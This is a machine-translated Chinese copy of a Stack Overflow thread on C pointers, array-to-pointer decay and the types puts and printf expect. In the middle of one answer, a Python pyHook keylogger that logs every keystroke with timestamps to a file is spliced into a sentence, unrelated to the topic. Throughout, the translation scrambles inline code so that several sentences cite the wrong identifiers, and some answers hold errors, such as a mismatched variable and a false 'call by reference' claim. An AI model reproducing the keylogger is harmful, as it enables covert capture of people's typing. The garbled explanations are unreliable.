指针的类型?

时间:2016-02-12 13:52:59

标签: c pointers

关于SO的指针以及互联网上无数的资源,有无数的问题,但我仍然无法理解这一点。

This answer引用A Tutorial on Pointers and Arrays in C: Chapter 3 - Pointers and Strings

int puts(const char *s);
  

目前,忽略const。传递给puts()的参数是一个指针,它是一个指针的值(因为C中的所有参数都是按值传递的),而指针的值是它指向的地址,或者简单地说,一个地址。因此,当我们看到puts(strA);时,我们正在传递strA[0]的地址。

我根本不明白这一点。

  • 为什么puts()需要指针到字符串常量? puts()没有修改并返回其参数,只需将其写入stdout,然后丢弃该字符串。

  • 忽略为什么puts()原型是什么,明确将指针带到字符串常量,接受一个字符串文字,而不是一个指针?也就是说,当puts("hello world");的原型表明puts()需要更像puts()的内容时,为什么char hello[] = "hello world"; puts(&hello);有效?

  • 例如,如果您将printf() 指针提供给字符串常量,这显然是它想要的,GCC会抱怨并且您的程序会出现段错误,因为:

    error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’
    

但是给printf()一个字符串常量,而不是指向字符串的指针,工作正常。

This Programmers.SE question's answers对我很有意义。

关于那个问题的答案,指针只是代表记忆中位置的数字。内存地址的数字是无符号整数,C是用(本机)C和汇编语言编写的,因此指针只是架构定义的uint

但事实并非如此,因为编译器非常明确地指出intint *int ** 的相同错误。它们是最终指向记忆中某种东西的途径。

为什么需要指针的函数接受指针的内容,而拒绝指针?

我知道"字符串常量"实际上是一个字符数组,但我在这里试图简化。

7 个答案:

答案 0 :(得分:4)

表达式"hello world"的类型为char[12]

在大多数情况下,使用数组会转换为指向其第一个元素的指针:在"hello world"的情况下,它会转换为指向'h'的指针,类型为char* }。

使用puts("Hello world")时,数组会转换为char*

请注意,从特定大小的数组转换会丢失大小信息。

char array[42];
printf("size of array is %d\n", (int)sizeof array);
printf("size of pointer is %d\n", (int)sizeof &array[0]);

答案 1 :(得分:3)

puts()不需要指向字符串的指针,它需要指向字符(*)的指针(char)。碰巧在C中,指向字符(char *)的指针可以被同化为字符串(字符数组),前提是字符串的结尾是空字符\0

答案 2 :(得分:2)

其中有几个问题,但希望我可以说明指针的指针是如何工作的。

puts需要指针的原因是C实际上没有字符串的内置类型。字符串只是一堆char一个接一个。因此,puts需要一个指向第一个字符的指针。

字符串文字,"优雅降级"指针。这是一个花哨的编译器,这意味着字符串文字实际上是一串字符,并由指向第一个char的指针表示。

你需要一个指向类型指针的指针,例如,如果你想要"返回"来自函数的数组,如下:

bool magic_super_function(int frob, int niz, char** imageptr /* pointer to pointer */)
{
    char* img = malloc(frob * niz * IMAGE_DEPTH);
    if (NULL == ptr) {
        return false;
    }

    *imageptr = img;

    return true;
}

有时一个例子(甚至做作)可以说明一点。你会打电话 这个函数是这样的:

char* img; /* pointer to char */

if (true == magic_super_function(12, 8, &img /* pointer to pointer (to char)*/  )) {
    /* Here img is valid and allocated */
    /* Do something with img */
} else {
    /* img has no valid value here. Do not use it. */
    /* Something failed */
}

答案 3 :(得分:2)

intint*不同,因为它将在代码中使用。您可以访问int*指向的内存位置并查找整数值。这被称为“强类型”#39;并且语言执行此操作,以便对使用变量的方式有严格的规定。因此,即使intint*可能都是相同的大小,int也不能用作指针。类似地,int**是指向指针的指针,因此必须取消引用两次才能找到它引用的实际整数值。

puts(const char*)的示例中,函数的定义告诉您函数需要一个内存位置(指针)到一组以空值终止的char值。执行此操作时,puts将取消引用您提供的位置,并打印在那里找到的字符。 const部分告诉您它不会更改值,以便向const char数组发送puts("hello")数组是安全的。当您发送像printf这样的文字字符串时,编译器会将其转换为指向" hello"的指针。为方便起见,所以仍然发送指针(不是字符串的副本)。

关于char*的问题,请注意char*[6]char不同。第一个指示指向以null结尾的字符串的指针,其中第二个是指向一组正好六个puts(&hello)值的指针,这些值可能不是以空值终止的。编译器会抱怨,因为如果 import pythoncom, pyHook import time from time import strftime,localtime def OKBE(event): log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") f=open(str(log),"a") if(str(event.Ascii)=="8"): f.write("<--") print("<--") elif(str(event.Ascii)=="13"): f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n") print("\nENTER\n") elif(str(event.Ascii)=="32"): f.write(" ") else: f.write(chr(event.Ascii)) print(str(event.Ascii)) print(chr(event.Ascii)) manager = pyHook.HookManager() manager.KeyDown = OKBE manager.HookKeyboard() pythoncom.PumpMessages() 试图将输入参数视为以空字符结尾的字符串,那么它在数组长度之后就不会停止,并且会访问不应该存在的内存。

答案 4 :(得分:2)

  

为什么puts()需要一个指向字符串常量的指针? puts()没有修改并返回其参数,只是将其写入stdout,然后丢弃该字符串。

puts收到指向字符串中第一个字符的指针;然后它会走路&#34;直到它看到0终止符为止。一个天真的实现看起来像这样:

void puts( const char *ptr )
{
   while ( *ptr )        // loop until we see a 0-valued byte
     putchar( *ptr++ );  // write the current character, advance the pointer
                         // to point to the next character in the string.
   putchar( '\n' );
}
  

忽略原因,puts()的原型是什么,明确地采用指向字符串常量的指针,接受字符串文字,而不是指向一个字符串的指针?也就是说,当puts("hello world");的原型表明puts()需要更像puts()的内容时,为什么char hello[] = "hello world"; puts(&hello);有效?

除非它是sizeof或一元&运算符的操作数,或者是用于初始化声明中的另一个数组的字符串文字,否则表达式为类型&#34; T&#34;的N元素数组;将被转换(&#34;衰减&#34;)到类型为&#34的表达式;指向T&#34;的指针,并且表达式的值将是第一个元素的地址。阵列。

字符串文字存储为char({+ 1}}在C ++中的数组);因此,字符串文字const char是类型&#34; 12个元素数组"hello world"&#34;的表达式。当您调用char时,字符串文字不是puts( "hello world" );或一元sizeof运算符的操作数,因此表达式的类型将转换为&#34;指向{{1 }&#34;,表达式的值是字符串中第一个字符的地址。

  

例如,如果您给&一个指向字符串常量的指针,这显然是它想要的,GCC会抱怨并且您的程序会出现段错误,因为:

     

char

请记住上面我说的数组表达式转换为指针类型,除了,它是printf()或一元error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’运算符的操作数或用于初始化另一个声明中的数组。假设声明

sizeof

如上所述,表达式&具有类型为12个元素的char hello[] = "hello world"; 数组;但是,因为它用于在声明中初始化另一个"hello world"数组,所以它不会转换为指针表达式;相反,字符串文字的内容被复制到char数组。

同样,如果您按以下方式致电char

hello

然后表达式printf 转换为指向printf( "%s", &hello ); 的指针;相反,表达式hello的类型是&#34;指向 12个元素数组char &#34;或&hello的指针。由于char转换说明符需要char (*)[12],因此您应该将数组表达式传递为

%s

并使用字符串文字,只需使用文字:

char *
  

关于那个问题的答案,指针只是代表记忆中位置的数字。内存地址的数字是无符号整数,C是用(本机)C和汇编语言编写的,因此指针只是架构定义的printf( "%s", hello );

     

但事实并非如此,因为编译器非常清楚printf( "%s", "hello world" ); uintint的错误。它们是最终指向记忆中某种东西的途径。

C是(或多或少)强类型语言;类型重要。即使int *int **int 可能占用内存中的相同数量的空间 1 在语义上它们是非常不同的东西,并且(通常)不可互换。指向int *的指针是与指向int **的指针不同的类型,它是指向int数组的指针的不同类型,等等。这对于像指针算术这样的事情很重要;当你写作

float

表达式char使T *p = some_address(); p++; 前进,指向p++类型的下一个对象。如果p为1,则T前进一个字节;如果sizeof (T)为4,那么p++前进4个字节(假设我们大多数人都在使用字节寻址架构)。

<小时/> 1。或不。不能保证指向不同类型的指针具有相同的大小或表示,也不能保证它们只是无符号整数;在分段体系结构上,它们可能具有更复杂的偏移表示。

答案 5 :(得分:1)

int ** r = 90; r是一个双指针,你指定90指针。取消引用时,它会尝试取消引用地址0x90。

答案 6 :(得分:1)

  

为什么puts()需要一个指向字符串常量的指针?

puts()以这样的方式定义,以便它可以使用实际参数而不是复制它并重用它。因为它提高了性能。此外,它需要const指针,因此它无法更改指针指向的内容。 通过引用致电

  

puts()&#39}原型是如何显式获取指针的呢?   一个字符串常量,接受一个字符串文字,而不是一个指针?

传递字符串文字时,首先将字符串文字存储在只读内存中,然后实际传递指向该内存的指针。因此,您可以使用puts()puts("abcd")等任何文字来呼叫puts("xyz")。它会工作。

  

error: format ‘%s’ expects argument of type ‘char *’, but argument 2 has type ‘char (*)[6]’

此处您实际上是将指针传递给6 char s 而不是char *的数组。所以编译器会抱怨这个错误。